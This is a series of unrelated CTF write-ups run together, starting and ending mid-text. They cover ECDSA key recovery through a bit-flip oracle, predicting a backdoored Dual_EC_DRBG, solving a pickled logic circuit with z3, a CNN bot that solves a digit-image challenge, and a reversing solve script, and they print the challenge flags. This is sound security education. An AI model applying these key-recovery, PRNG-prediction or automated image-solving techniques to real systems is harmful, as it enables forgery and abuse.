key` with `101 bit_length````pythonsecret_multiplier = random.getrandbits(101)```In order to forge the signature, we have to calculate the `secret key`, we won't be able to solve the`ecdlp` but we can use the `additional secret mask` requested in `signMessage` function.```pythonsecret_mask = int(input("Now insert a really stupid value here: "))secret = secret_multiplier ^ secret_mask```so, we can modify the `secret key` used for `signing`.we can use this to completely obtain the `secret key` in a few iterations.```Let G be the generators1 is the secret_keys2 is the secret_key ^ mask (^ --> xor operation)P = s1 * GQ = s2 * Gsuppose if the mask is `1` s2 = s1 ^ 1 , (xor with 1 flips the lsb) if lsb of s1 is 0 then s2 = s1 + 1 => Q = s2 * G = (s1 + 1) * G = P + G else if lsb of s1 is 1 then s2 = s1 - 1 => Q = s2 * G = (s1 - 1) * G = P - G Given the points P, Q we can obtain the lsb of secret_key s1by checking if Q == P + G then lsb of secret key is 0 else Q == P - G then lsb of secret key is 1 similarly we can set the nth(lsb is 0 bit) lower bit in the mask i.e mask = (1 << n)flipping the nth lower bit, decreases or increases the secret_key(s1) by 2**n based on whether nth bit in secret_key is set or notso, checking if Q == P + (2**n) * G or Q == P - (2**n) * G gives the nth bit``` Using the above method recursively gives the complete `secret key` and we can use that to forge the required `signature`. There are small hurdles in the challenge1. Only `signature` is given, we have to calculate the `Public Key (P)`.2. We have only `73` iterations, we have to calculate the `101 bit key` using less than `72` iterations. For the first problem, we can use the `signature (r,s)` to obtain the `Public Key`, two valid `Public Keys` are possible for a given `signature` pair `(r, s)`. we have to use other `Public Keys` to identify the correct key. For the second problem, we can extend the same theory for any number of bits with bruteforceable number of cases.example of `2 bits`.```pythonsecret_key_lsb =>00 --> Q = P + 3*G01 --> Q = P + G10 --> Q = P - G11 --> Q = P - 3*G```Using the above approach with `2 bits`, we can calculate secret_key using less than `72` iterations and get the `flag`. There are a lot of small implementation details, check out my solution code :: [solve.sage](/Inctfi-2020/Bakflip_n_sons/solve.sage) FLAG :: inctf{i_see_bitflip_i_see_family} --- # EaCy challenge writeup [Crypto] Luckily I got First Blood for this challenge. we were given four files1. [ecc.py](/Inctfi-2020/EaCy/ecc.py) contains classes to work with elliptic curves2. [ansi931.py](/Inctfi-2020/EaCy/ansi931.py) contains classes to generate random data using ANSI X9.31 with AES 1283. [prng.py](/Inctfi-2020/EaCy/prng.py) contains implementation of dual_ec_drbg random generator along with prng using ANSI X9.314. [encrypt.py](/Inctfi-2020/EaCy/encrypt.py) The basic flow of service is as follows- Generates a `random number` e using the `prng` defined in `prng.py`.- Asks to choose between `[1] Asynchronous SchnorrID` and `[2] Synchronous SchnorrID`. - Asks the user for two Points `Q`, `R`.- Gives the value of `e` to the user if 1 is selected (Asynchronous SchnorrID)- User has to provide value of `s` such that `s*P == e*Q + R`, P is an hard coded point- if the above condition fails then it closes the connection- if we can provide the correct `s` without the `e` value i.e in `Synchronous SchnorrID`, we can request the flag service repeats the above process for 10 times. if we have `e` value, we can pass the condition by sending point `P` for both `Q` and `R` values and `(e + 1)` value.```s*P = (e + 1) * P = e*P + P = e*Q + R```so, if we know the value of `e` we can easily pass the condition, in order to get the flag we have tocalculate the `s` value without taking `e` from the service. Only way is to crack the `prng` used```python def prng_reseed(self): self.prng_temporary = long_to_bytes(self.ecprng_obj.ec_generate()) assert len(self.prng_temporary) == 32 self.prng_seed = self.prng_temporary[:8] prng.prng_output_index = 8 self.prng_key = self.prng_temporary[8:] prng.prng_output_index = 32 return bytes_to_long(self.prng_temporary) def prng_generate(self): _time = time.time() prng.prng_output_index = 0 if not self.one_state_rng: print("prng_reseed ", self.prng_reseed()) ansi_obj = ANSI(self.prng_seed + self.prng_key + long_to_bytes(_time).rjust(16, "\x00")) while prng.prng_output_index <= 0x1f: self.prng_temporary += ANSI.get(8) prng.prng_output_index += 8 print("prng generate = ", bytes_to_long(self.prng_temporary)) return bytes_to_long(self.prng_temporary)```At the first glance, it may seem like the `prng` is using `ANSI` class to generate `random data` but in the settings used by the challenge, `prng` directly gives the `random_data` generated by `dual_ec_drbg`.```pythonclass ecprng: # Curve P-256; source: https://safecurves.cr.yp.to/ p = 2**256 - 2**224 + 2**192 + 2**96 - 1 a = p-3 b = 41058363725152142129326129780047268409114441015993725554835256314039467401291 ec = ecc.CurveFp(p, a, b) _Px = 115113149114637566422228202471255745041343462839792246702200996638778690567225 _Py = 88701990415124583444630570378020746694390711248186320283617457322869078545663 Point_P = ecc.Point(ec, _Px, _Py) _Qx = 75498749949015782244392151836890161743686522667385613237212787867797557116642 _Qy = 19586975827802643945708711597046872561784179836880328844627665993398229124361 Point_Q = ecc.Point(ec, _Qx, _Qy) def __init__(self, seed): self.seed = seed if self.seed: assert len(long_to_bytes(self.seed)) == 32 def update_seed(self, intermediate_state_S_1): self.seed = (intermediate_state_S_1 * ecprng.Point_P).x() assert len(long_to_bytes(self.seed)) == 32 def ec_generate(self): intermediate_state_S_1 = (self.seed * ecprng.Point_P).x() self.update_seed(intermediate_state_S_1) r_1 = long_to_bytes((intermediate_state_S_1 * ecprng.Point_Q).x())[-30:] r_2 = long_to_bytes((self.seed * ecprng.Point_Q).x())[-30:][:2] assert len(r_1 + r_2) == 32 print("seed == ", self.seed) return bytes_to_long(r_1 + r_2)```so, `random_number` `e` is generated using `dual_ec_drbg` with `P-256` curve.we can predict the `next state` of the generator if author has inserted a backdoor into the generator.See the video from `David Wong` for an excellent explanation about the backdoor [link](https://www.youtube.com/watch?v=OkiVN6z60lg). so, generator state consists of two points and seed.To generate a random number- s1 = (seed * P).x()- random_number = (s1 * Q).x() & ((1 << 240) - 1) ; (lower 240 bits)- seed = (s1 * P).x() generator follows this above procedure to calculate a single random number.One who decides the points `P` and `Q` has the ability to insert a `backdoor` into the `generator` which will allow him to `predict` the `future states` of `generator` given a `single random number`generated and little other information.The way one can do it is, ```if Q = c * P (c can be any number)given random_number = (s1 * Q).x() lifting the random_number gives the value of (s1 * Q) multiplying the value of (s1 * Q) with the inverse(c, order) and take the x co-ordinate of the result gives the seed.``````cinv * (s1 * Q) = cinv * s1 * c * P = s1 * P = seed```After obtaining the `seed`, one can generate all the future states. There are little changes in the implementation of `dual_ec_drbg` in this challenge. For the points used in this challenge, `Q = 1735 * P`.backdoor exists in this generator. Normally, top `16 bits` of the `random number` i.e `(s1 * Q).x()` are removed, we have to use another `random number` to filter out the wrong ones but in this challenge we are given with additional information in the form of `r2`, we can use that to filter.So, we only need single `e`, after that we can predict all the future states. Final solution is- obtain a value of e by selecting the 1 option(`Asynchronous SchnorrID`)- bruteforce the top `16 bits` and find the `seed`- select option 2, predict the value of e, pass the check using above mentioned method - get the `flag` solution code :: [solve.sage](/Inctfi-2020/EaCy/solve.sage) FLAG :: inctf{Ev3ry_wa11_1s_4_d00r_but_7his_1s_4_D0ubl3_d0or}
First off, this program's in rust which means Ghidra isn't gonna be able to do jack. While I was waiting for it to decompile anyway, I was looking at the `Decompiling` loading bar at the bottom right and saw these pickle functions being decompiled: ![image-20200723201109206](https://irissec.xyz/uploads/2020-07-24/image-20200723201109206.png) Along with "Deserializer", it made me think it was python's pickle format, the binary format for storing python objects. Sure enough, a search gave me https://github.com/birkenfeld/serde-pickle. Weird that we have python serialization in a rust project. I wanted to see if I could find the function referencing the "Thanks for using the Nook stop!" string so I tried searching for the string. Turns out it's a non-terminated string, and Ghidra doesn't know any better. However, as I was looking through the top of the string, I found this base64: ![image-20200723201538940](https://irissec.xyz/uploads/2020-07-24/image-20200723201538940.png) Okay, let's unencrypt it. (I copied the base64 out with a hex editor) ```pythonimport base64s = "H4sICAYYEV8AA2NpcmN1aXQucGtsAO2cedhOxRvHeTchOxGVUiTRvkiLJUUnUUQiRXqT..."with open("somedecodedb64", "bw") as sdb64: sdb64.write(base64.b64decode(s))``` Let's see what file we got out of it: ```C:\Users\notrly\Documents\csictf\clam>file somedecodedb64somedecodedb64: gzip compressed data, was "circuit.pkl", last modified: Fri Jul 17 03:16:22 2020, from Unix, original size modulo 2^32 54947``` Okay, then we can extract circuit.pkl from the gzip and deserialize it with pickle. ```python>>> import pickle>>> f = open("circuit.pkl", "rb")>>> pickle.load(f){'gates': [{'op': ('NOT',)}, {'op': ('AND',)}, {'op': ('AND',)}, ...}{'netlist': [[1, 131], [2], [3], [4], [5, 8], [92], [7], [8], [9]...}``` So this is the "circuitry" the description was talking about. Assuming that each gate has an array in netlist, let's just print out some info and see what we get. ```pythonimport pickle with open("circuit.pkl", "rb") as f: g = pickle.load(f) gateCount = len(g["gates"])for gateIdx in range(gateCount): gateType = g["gates"][gateIdx]["op"][0] connectedGates = "" for netIdx in g["netlist"][gateIdx]: connectedGates += str(netIdx).zfill(4) + " " print(f"gate {str(gateIdx).zfill(4)} type {gateType} connected to {connectedGates}")``` gives us ```...gate 0130 type XOR connected to 1399gate 0131 type AND connected to 0132gate 0132 type NOT connected to 0133gate 0133 type AND connected to 0134 0755 0967gate 0134 type XOR connected to 0135gate 0135 type XOR connected to 0136 1132 1137gate 0136 type NOT connected to 0137gate 0137 type AND connected to 0138 0139 1343 1418gate 0138 type NOT connected to 0149gate 0139 type AND connected to 0140gate 0140 type NOT connected to 0151gate 0141 type AND connected to 0142 0171 0172 0727gate 0142 type XOR connected to 0145 1382gate 0143 type AND connected to 0144gate 0144 type NOT connected to 0147gate 0145 type AND connected to 0146gate 0146 type NOT connected to 0147gate 0147 type AND connected to 0148 1141...``` So in a normal (logic) circuit, we can expect there to be inputs and outputs. `and` and `xor` should have two inputs and `not` should have one input. But some gates like 0141 have more than 2. Most likely those are where those gates output to. We'll have to come up with the inputs ourselves. ```pythongateCount = len(g["gates"])for gateIdx in range(gateCount): gateType = g["gates"][gateIdx]["op"][0] fromGates = "" toGates = "" netIdx = 0 for net in g["netlist"]: if gateIdx in net: fromGates += str(netIdx).zfill(4) + " " netIdx += 1 for netIdx in g["netlist"][gateIdx]: toGates += str(netIdx).zfill(4) + " " print(f"gate {str(gateIdx).zfill(4)} type {gateType} connected from {fromGates}connected to {toGates}")``` gives us ```...gate 0130 type XOR connected from 0042 0127 connected to 1399gate 0131 type AND connected from 0000 1527 connected to 0132gate 0132 type NOT connected from 0131 connected to 0133gate 0133 type AND connected from 0132 1658 connected to 0134 0755 0967gate 0134 type XOR connected from 0033 0133 connected to 0135gate 0135 type XOR connected from 0117 0134 connected to 0136 1132 1137gate 0136 type NOT connected from 0135 connected to 0137gate 0137 type AND connected from 0136 1722 connected to 0138 0139 1343 1418gate 0138 type NOT connected from 0137 connected to 0149gate 0139 type AND connected from 0137 1805 connected to 0140gate 0140 type NOT connected from 0139 connected to 0151gate 0141 type AND connected from 1501 1528 connected to 0142 0171 0172 0727gate 0142 type XOR connected from 0141 1796 connected to 0145 1382gate 0143 type AND connected from 1722 1806 connected to 0144gate 0144 type NOT connected from 0143 connected to 0147gate 0145 type AND connected from 0142 1723 connected to 0146gate 0146 type NOT connected from 0145 connected to 0147gate 0147 type AND connected from 0144 0146 connected to 0148 1141...``` It seems to all be working good. We can see `not` with only 1 input and `and` and `xor` (lol) with two inputs. But wait a second, how does this help us get that 16 digit pin? Well there's gotta be inputs into the circuit. Let's see if we have any connections that aren't from gates. ```pythongateCount = len(g["gates"])netListCount = len(g["netlist"])# check for any outputs that don't have gatesprint("outputs")for net in g["netlist"]: for netIdx in net: if netIdx >= gateCount: print(netIdx)# check for any inputs that don't have gatesprint("inputs")for netIdx in range(netListCount): if netIdx >= gateCount: print(netIdx)``` gives us ```outputs1885inputs182118221823...188218831884``` So 1821-1884 are input lines and 1885 is an output line, probably telling us if our input is correct. So now we have to find the right combination of 0s and 1s of 1821-1884 to give us a 1 from 1885. Time for z3 solver. I had heard of people using it for this type of thing but had never used it myself. A quick search brought me [here](https://cesena.github.io/2020/05/13/z3-robot/) for some example code. ```pythonfrom z3 import *ar = [BitVec(f'{i}', bitsOfEachNum) for i in range(numCount)]s = Solver() s.add(condition1)s.add(condition2) print(s.check()) # should be satmodel = s.model()print(model)results = ([int(str(model[ar[i]])) for i in range(len(model))])``` Since we only want 1885 to be 1, there's really only one condition here. And we should try to convert the "circuit" into a parsable condition. ```pythonimport pickle def gateName(gateIdx): return f"gate{str(gateIdx).zfill(4)}" with open("circuit.pkl", "rb") as f: g = pickle.load(f) of = open("circuit.pkl.z3", "w") gateCount = len(g['gates'])netCount = len(g['netlist']) def getGateText(gateIdx): if gateIdx >= 1821: return f"ar[{gateIdx-1821}]" xRefs = [] gateType = g['gates'][gateIdx]['op'][0] for netIdx in range(netCount): net = g['netlist'][netIdx] if gateIdx in net: xRefs.append(netIdx) if gateType == "AND": return f"({getGateText(xRefs[0])} & {getGateText(xRefs[1])})" elif gateType == "XOR": return f"({getGateText(xRefs[0])} ^ {getGateText(xRefs[1])})" elif gateType == "NOT": return f"({getGateText(xRefs[0])} ^ 1)" of.write("s.add(" + getGateText(1476) + " == 1)\n")of.close()``` If you treat each gate as a function, I'm essentially inlining all of the functions into one expression. So if we run that, we get this huge block of code: ![image-20200723205303461](https://irissec.xyz/uploads/2020-07-24/image-20200723205303461.png) Then all we have to do is wrap it in the z3 boilerplate code I pasted earlier. ```pythonfrom z3 import *ar = [BitVec(f'{i}', 1) for i in range(64)] # 1 bit, 64 inputss = Solver() s.add(...) print(s.check())model = s.model()print(model)results = ([int(str(model[ar[i]])) for i in range(len(model))])print(results)``` And if we run it? ```[29 = 1, 60 = 0, 61 = 1,... 48 = 1, 47 = 1, 8 = 0][1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0]``` Yay, we got it! let's convert these bits to an int. ```pythonout = 0for bit in results: out = (out << 1) | bit print(out) # 17465288031635233796``` That's it right? Let's put it in. ```Thanks for using the Nook stop! Please enter your 16-digit PIN:17465288031635233796We need 16 digits (for security)Thanks for using the Nook stop! Please enter your 16-digit PIN:``` Welp, looks like our number is too large. Maybe we can flip the bits? ```pythonresults = results[::-1] out = 0for bit in results: out = (out << 1) | bit print(out) # 2322729860550919759``` Still too many digits. Well, let's look at how many bits are in in the biggest 16 digit number, `9999999999999999`: ````>>> len(bin(9999999999999999))-2 #-2 to get rid of 0b54```` Okay, so if the biggest number has 54 bits, the top 10 bits should be 0. ```pythondef getGateText(gateIdx): if gateIdx >= 1831: return f"ar[{gateIdx-1831}]" if gateIdx >= 1821: return f"0"``` (Once you run the z3 code generator again, make sure to change ar's range from range(64) to range(54).) ```unsatTraceback (most recent call last): File "C:\Python38\lib\site-packages\z3\z3.py", line 6696, in model return ModelRef(Z3_solver_get_model(self.ctx.ref(), self.solver), self.ctx) File "C:\Python38\lib\site-packages\z3\z3core.py", line 3759, in Z3_solver_get_model _elems.Check(a0) File "C:\Python38\lib\site-packages\z3\z3core.py", line 1385, in Check raise self.Exception(self.get_error_message(ctx, err))z3.z3types.Z3Exception: b'there is no current model'``` Rip, maybe 63/line 1884 is the most significant bit, not 0/line 1821. ```pythondef getGateText(gateIdx): if gateIdx >= 1874: return f"0" if gateIdx >= 1821: return f"ar[{gateIdx-1821}]"``` That gives us ```[29 = 0, 37 = 1, 3 = 1,... 48 = 1, 47 = 1, 8 = 0][1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1]``` Yay, we got another valid result. ```pythonresults = results[::-1] # flip because rightmost bit is most significant out = 0for bit in results: out = (out << 1) | bit print(out) # 7879797576737871``` Weird, it's hex for xyyuvsxq. ? Anyway, let's put it into the nc. ```Thanks for using the Nook stop! Please enter your 16-digit PIN:7879797576737871uiuctf{th0nks_4_st0pping_by3}``` Imho, the point value of this (350) and cricket32 (500) should have been swapped. I would say this was definitely a much harder problem than cricket was. By the way, you might be interested in seeing what this circuit would look like "physically". ![image-20200724125345810](https://irissec.xyz/uploads/2020-07-24/image-20200724125345810.png) Code is [here](https://irissec.xyz/uploads/2020-07-24/genlogisimcirc.py.html) but the simulator is on wpf so don't expect to be able to run on linux. Graph in its full glory (without the binary set) is [here](https://irissec.xyz/uploads/2020-07-24/circuit.jpg).
Code is self explanatory and commented but summarizing is always good if you like it please feel free to a star and fork [Click for some awesomenss](https://github.com/JulixQuid/INCTF2020_HEX) So you get a image decoded so first thing is decode(base 64) and decompress (gzip)creators be like ![](https://memegenerator.net/img/instances/64775280/hide-or-encode-lets-do-both.jpg) then you will get something like this , a 560x560 image ![](https://i.imgur.com/iIPgrXZ.jpg) it can be splitted in a 20x20 grid so you will get a 400: 28x28 matrixes then train a model using a Convolutional Neural network which works better tha other type of NNs for finding patterns in images ![](https://cdn-images-1.medium.com/max/2560/1*yIPIuNIn6ar7MvQnNqlWlQ.jpeg) parameteres and hyper parameter can change with similar results so dont wrap your head around it if you wanna give it a try ![](https://miro.medium.com/max/1440/1*mEOFzxSYwyiWDcveNLmGDg.jpeg) then is just a matter of probabilitywe got 99% accuracy and 3 attempts on each image so we got the ones with the highest prob and 136 to test ![](https://memegenerator.net/img/instances/41985667/boy-that-escalated-quickly.jpg) it that is ((0.01) * * 3) = **.9999**and we needed to crack **136 images** so probability of success is .9999 * * 136 =**.99**so if it fails, in a couple of runs it will work.it worked first try **:P ** ![](https://i.imgur.com/Kz518Z6.png) ```# -*- coding: utf-8 -*-"""Created on Sat Aug 1 23:09:55 2020 @author: Hextraditables"""import numpy as npimport pandas as pdfrom sklearn import datasets, svm, metrics, neural_network,linear_modelfrom sklearn.model_selection import train_test_splitfrom PIL import Image,ImageOpsimport pickleimport socketimport base64import zlibimport codecsfrom pwn import *import tensorflow as tffrom tensorflow.keras.models import Sequentialfrom tensorflow.keras.layers import Dense, Conv2D, Dropout, Flatten, MaxPooling2D interactions=[] class digitMaster: def __init__(self): """ Attributes: images: dict dictionary for storing index in the "image matrix" as key : tuple of (rox,col) value : 28x28 matrix labels: pd.DataFrame Dataframe for storing the rox,col,predicted_label and probability. columns: x: int y: int label: int prob: float between 0 and 1 aux: pd:DataFrame DataFrame for saving the images detected as different it will be self.labels filtered by being != of the most frequent label in the image. """ self.images=dict() self.labels=pd.DataFrame(columns=['x','y','label','prob']) self.aux=None self.input_shape = (28, 28, 1) def load(self): """ opens the image set it to a range from 0 to 1 and calculates the mean between the 3 RGB channels to transform it to grayscale and reduce dimension from 28x28x3 to 28x28 then splits it in 400 28x28 matrixes and store them in the dict self.images: key: tuple of int of coords (row,column) value: np.array with dim 28x28 (matrix) """ color_img = np.asarray(Image.open("digits.jpg")) / 255 img = np.mean(color_img, axis=2) for i in range(20): for j in range(20): self.images[(i,j)]=img[j*28:(j+1)*28,i*28:(i+1)*28] def classify(self): """ iterates over the images dict items and classify using the static model at the script for time problems model wasn't in the class. pred is a vector with the probability of being on each class pred.shape=(10,1) or (1,10) or (10,) or (,10) not sure anymore lol but we take the index where the highest prob is pred.argmax and its value pred.max() and store it with the coords at the DataFrame columns: x: int y: int label: int prob: float between 0 and 1 """ self.labels=pd.DataFrame(columns=['x','y','label','prob']) for coord,image in self.images.items(): pred = model.predict(image.reshape(1, 28, 28, 1)) self.labels.loc[len(self.labels)]=[coord[0],coord[1],pred.argmax(),pred.max()] def find_different(self): """ find the different using this algorithm: - step 1: sorted values on tha labels DataFrame by prob - step 2: filtering just the ones that dont belong to the most common label - step 3: taking the first three(we use the min because not all the times it found three different) from the result of step 2 - step 4: putting the coordinates in the format that the challenge required """ self.labels.sort_values('prob',ascending=False,inplace=True) # step 1 self.aux=self.labels[self.labels.label!=self.labels.label.value_counts().index[0]] #step 2 #self.aux.x=(self.aux.x*28) #self.aux.y=(self.aux.y*28) a0=0#step 3.0 a1=min(1,len(self.aux)-1) #step 3.1 a2=min(2,len(self.aux)-1)#step 3.2 #step 4 coords=[self.aux.iloc[a0,1],self.aux.iloc[a0,0],self.aux.iloc[a1,1],self.aux.iloc[a1,0],self.aux.iloc[a2,1],self.aux.iloc[a2,0]] coords=[str(int(i)) for i in coords] coords=','.join(coords) coords='('+coords+')' # lol print(coords) return coords def interaction(self): """ using pwn tools to automate the interaction - step 0: nc to the server - step 1: receive the first image and some more text - step 2: striping the image text - step 3: decoding base 64 and decompressing zlib ** ** thanks to Phicar for doing the dirty work here - step 4: saving image to local storage (it could be probably done in a more efficient way without saving and loading but it was working fine so we let it be this way ) - step 5: calling self.load description above - step 6: getting and sending coordinates - step 7: repeat from 1 to 6, 136 times """ host = "34.70.233.147" port= 7777 socket = remote(host,port) #step 0 a = b''; while True: #step 1 receive the first image b = socket.recv(timeout=1) a = a+b #print(len(a)) if len(b)==0: break #step 2 a.strip() a = a[2100:-2] #print("-->",a[0:10]," ",a[-10:]) de = codecs.decode((codecs.decode(a,"base64")),"zlib") # step 3 fff = open("digits.jpg","wb") # step 4 fff.write(de) self.load()#step 5 self.classify() #step 6 coords=self.find_different()#7 socket.sendline(coords) socket.recvline()# confirmation of 1st success line n=0 #counting how many images we got while(True): print('reading') a=socket.recvline() if(len(a))<100000:#if line is not an image continue to get the flag break interactions.append(a) print('decode') de = codecs.decode((codecs.decode(a[2:-2],"base64")),"zlib") fff = open("digits.jpg","wb") fff.write(de) self.load() self.classify() coords=self.find_different() socket.sendline(coords) a=socket.recvline() print(a) n+=1 print(cuenta) print(socket.recvline())#correct print(socket.recvline()) print(socket.recvline()) print(socket.recvline()) def nn(): """ - step 1: declare Convolutional NN (because every one know conv. layers rulz ) and training all in the same function. I know dude, training and declaration must be in different functions but training took like 20 seconds and i was tired so who cares 1 conv layer for spotting the digit and 3 dense to make sure we get all the complex patterns recognized properly fast and without overfitting. - step 2: getting data for training was done with MNIST dataset which is conveniently in the TF available datasets - step 3: training till gets 99% of accuracy as we have to solve +100 images with 3 attempst on each one thats like (1-(.01**3))**100 = .9999 success probability at 100 images,enough for me So we are good to go """ input_shape = (28, 28, 1) model = Sequential() model.add(Conv2D(28, kernel_size=(3,3), input_shape=input_shape)) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Flatten()) # Flattening the 2D arrays for fully connected layers model.add(Dense(128, activation=tf.nn.relu)) model.add(Dropout(0.2)) model.add(Dense(40, activation=tf.nn.relu)) model.add(Dropout(0.2)) model.add(Dense(10,activation=tf.nn.softmax)) (x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data() x_train = x_train.reshape(x_train.shape[0], 28, 28, 1) x_test = x_test.reshape(x_test.shape[0], 28, 28, 1) # Making sure that the values are float so that we can get decimal points after division x_train = x_train.astype('float32') x_test = x_test.astype('float32') # Normalizing the RGB codes by dividing it to the max RGB value. x_train /= 255 x_test /= 255 print('x_train shape:', x_train.shape) print('Number of images in x_train', x_train.shape[0]) print('Number of images in x_test', x_test.shape[0]) model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy']) model.fit(x=x_train,y=y_train, epochs=10) # at 10 epochs it reaches 99% off accuracy return model model=nn() #training modelrod=digitMaster() #declaring objectrod.interaction() # doing the magic ```No captcha required for preview. Please, do not write just a link to original writeup here.
## Description Rick has been captured by the council of Rick's and in this dimension Morty has to save him, the chamber holding Rick needs a key. Can you help him find the key? ```nc chall.csivit.com 30827``` ## Analysis OMG, WE GOTTA SAVE RICK! What happens when we run it locally? ```kali@kali:~/Downloads$ ./RickNMorty7 9315 15312 15315 9312 1438 71fun() took 7.000000 seconds to executeNahh.``` We get a series of numbers and have to provide the right input in response to each pair. Decompile with Ghidra, and look at `main()`: ```cundefined8 main(void){ int iVar1; time_t tVar2; long lVar3; long local_48; time_t local_40; time_t local_38; time_t local_30; long local_28; long local_20; char *local_18; int local_10; int local_c; setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); setbuf(stderr,(char *)0x0); tVar2 = time(&local_30); srand((uint)tVar2); time(&local_38); local_c = 1; local_10 = 0; while( true ) { iVar1 = rand(); if (iVar1 % 3 + 4 < local_10) break; iVar1 = rand(); local_20 = (long)(iVar1 % 10 + 6); iVar1 = rand(); local_28 = (long)(iVar1 % 10 + 6); printf("%d %d\n",local_20,local_28); __isoc99_scanf(&DAT_0040200f,&local_48); lVar3 = function1(local_20); lVar3 = function2(lVar3 + 3); if (lVar3 != local_48) { local_c = 0; } local_10 = local_10 + 1; } time(&local_40); local_18 = (char *)(double)(local_40 - local_38); printf(local_18,"fun() took %f seconds to execute \n"); if ((local_c != 1) || (30.00000000 < (double)local_18)) { printf("Nahh."); } else { puts("Hey, you got me!"); system("cat flag.txt"); } return 0;}``` That loop just generates a pair of random numbers on each pass, runs them through `function1()` and `function2()`, and then checks if the input matches the answer. All the answers have to be correct to get the flag. `function1()` and `function2()` are pretty straightforward: ```clong function1(long param_1,long param_2){ int local_10; int local_c; local_c = 0; local_10 = 1; while ((local_10 <= param_1 || (local_10 <= param_2))) { if ((param_1 % (long)local_10 == 0) && (param_2 % (long)local_10 == 0)) { local_c = local_10; } local_10 = local_10 + 1; } return (long)local_c;}``` ```clong function2(long param_1){ long lVar1; if (param_1 == 0) { lVar1 = 1; } else { lVar1 = function2(param_1 + -1); lVar1 = lVar1 * param_1; } return lVar1;}``` We don't even have to understand what they're trying to compute, we just have to replicate the math so that we can compute the correct answer and send it back to the server. ## Solution Write a quick python script to replicate those functions, then we just have to use pwntools to connect to the remote server, read the numbers on each line, run them through `fun1()` and `fun2()`, then send the answer back to the server. ```python#!/usr/bin/env python3from pwn import * context.log_level='DEBUG'#p = process('./RickNMorty')p = remote('chall.csivit.com', 30827) def fun1(param_1, param_2): local_c = 0 local_10 = 1 while (local_10 <= param_1) or (local_10 <= param_2): if (param_1 % local_10 == 0) and (param_2 % local_10 == 0): local_c = local_10 local_10 += 1 return local_c def fun2(param_1): lvar1 = 0 if param_1 == 0: lvar1 = 1 else: lvar1 = fun2(param_1 - 1) lvar1 = lvar1 * param_1 return lvar1 while True: line = p.recvline() if not line or line.decode().startswith('fun() took'): break nums = line.decode().rstrip().split(' ') ans = fun1(int(nums[0]), int(nums[1])) ans = fun2(ans + 3) p.sendline(str(ans)) p.stream()``` Get all the answers right and we get the flag: ```kali@kali:~/Downloads$ ./ricknmorty.py [DEBUG] PLT 0x40102c puts[DEBUG] PLT 0x401040 setbuf[DEBUG] PLT 0x401050 system[DEBUG] PLT 0x401060 printf[DEBUG] PLT 0x401070 srand[DEBUG] PLT 0x401080 time[DEBUG] PLT 0x401090 __isoc99_scanf[DEBUG] PLT 0x4010a0 rand[*] '/home/kali/Downloads/RickNMorty' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to chall.csivit.com on port 30827: Done[DEBUG] Received 0x6 bytes: b'11 15\n'[DEBUG] Sent 0x3 bytes: b'24\n'[DEBUG] Received 0x5 bytes: b'9 12\n'[DEBUG] Sent 0x4 bytes: b'720\n'[DEBUG] Received 0x5 bytes: b'7 10\n'[DEBUG] Sent 0x3 bytes: b'24\n'[DEBUG] Received 0x5 bytes: b'9 11\n'[DEBUG] Sent 0x3 bytes: b'24\n'[DEBUG] Received 0x5 bytes: b'8 10\n'[DEBUG] Sent 0x4 bytes: b'120\n'[DEBUG] Received 0x5 bytes: b'6 13\n'[DEBUG] Sent 0x3 bytes: b'24\n'[DEBUG] Received 0x28 bytes: b'fun() took 0.000000 seconds to execute \n'[DEBUG] Received 0x11 bytes: b'Hey, you got me!\n'Hey, you got me![DEBUG] Received 0x28 bytes: b'csictf{h3_7u2n3d_h1m531f_1n70_4_p1ck13}\n'csictf{h3_7u2n3d_h1m531f_1n70_4_p1ck13}``` The flag is: ```csictf{h3_7u2n3d_h1m531f_1n70_4_p1ck13}```
# Polyglot ## Category: Reversing | 50 pts On extracting the given tar.gz and tar file we get a C source file with the following code: ```#include <stdlib.h>#include <stdio.h>#include <string.h>char flagged[] = {78,6,10,80,30,69,0,68,77,83,13,92,1,68,22,68,12,2,90,62,120,68,1,76,29,3,5,71,23,16,88,84,3,28,13,84,28,85,0,1,4,1,16,19,19,28,68,84,3,28,13,84,28,85,0,1,4,1,16,19,16,14,105,43,30,27,22,70,17,68,68,85,92,79,31,62,120,57,1,79,24,2,68,72,82,70,5,77,24,10,68,14,82,82,68,10,77,27,85,15,19,29,85,13,77,13,90,9,72,70,5,77,24,10,68,78,73,61,110,92,86,98,110,71,23,93,20,77,12,27,1,19,78,69,10,82,4,8,10,86,22,16,13,79,25,79,6,13,127,58,23,85,31,26,7,71,82,68,85,29,93,67,68,81,76,16,31,44,103,102,1,93,7,93,68,90,77,25,5,95,7,85,68,28,77,95,68,78,73,61,110,92,86,98,110,71,23,93,20,77,12,27,1,19,78,69,10,82,4,8,10,86,22,16,13,79,25,79,5,31,82,69,10,82,4,8,10,86,22,16,13,79,25,79,6,13,127,58,23,85,31,26,7,71,82,68,86,1,22,98,110,58,23,94,17,76,77,20,68,69,19,92,17,68,77,82,68,2,82,27,68,85,95,83,5,30,67,28,68,67,83,85,94,69,19,92,17,68,77,18,95,62,120,77,95,44,103,27,1,94,2,92,5,85,8,79,88,70,28,67,13,70,3,10,0,19,27,94,16,1,15,81,105,57,1,68,22,84,14,27,68,71,64,12,84,13,77,13,90,19,9,61,110,40,8,1,17,94,82,75,68,87,12,3,17,86,82,13,68,16,77,68,68,71,64,12,84,13,77,13,73,2,76,10,94,87,12,3,17,86,82,77,95,44,103,18,95,62,120,68,1,76,29,3,5,71,23,12,90,44,103,28,16,65,7,83,16,1,25,93,88,3,94,16,84,31,22,98,110,19,82,16,68,68,3,26,9,19,9,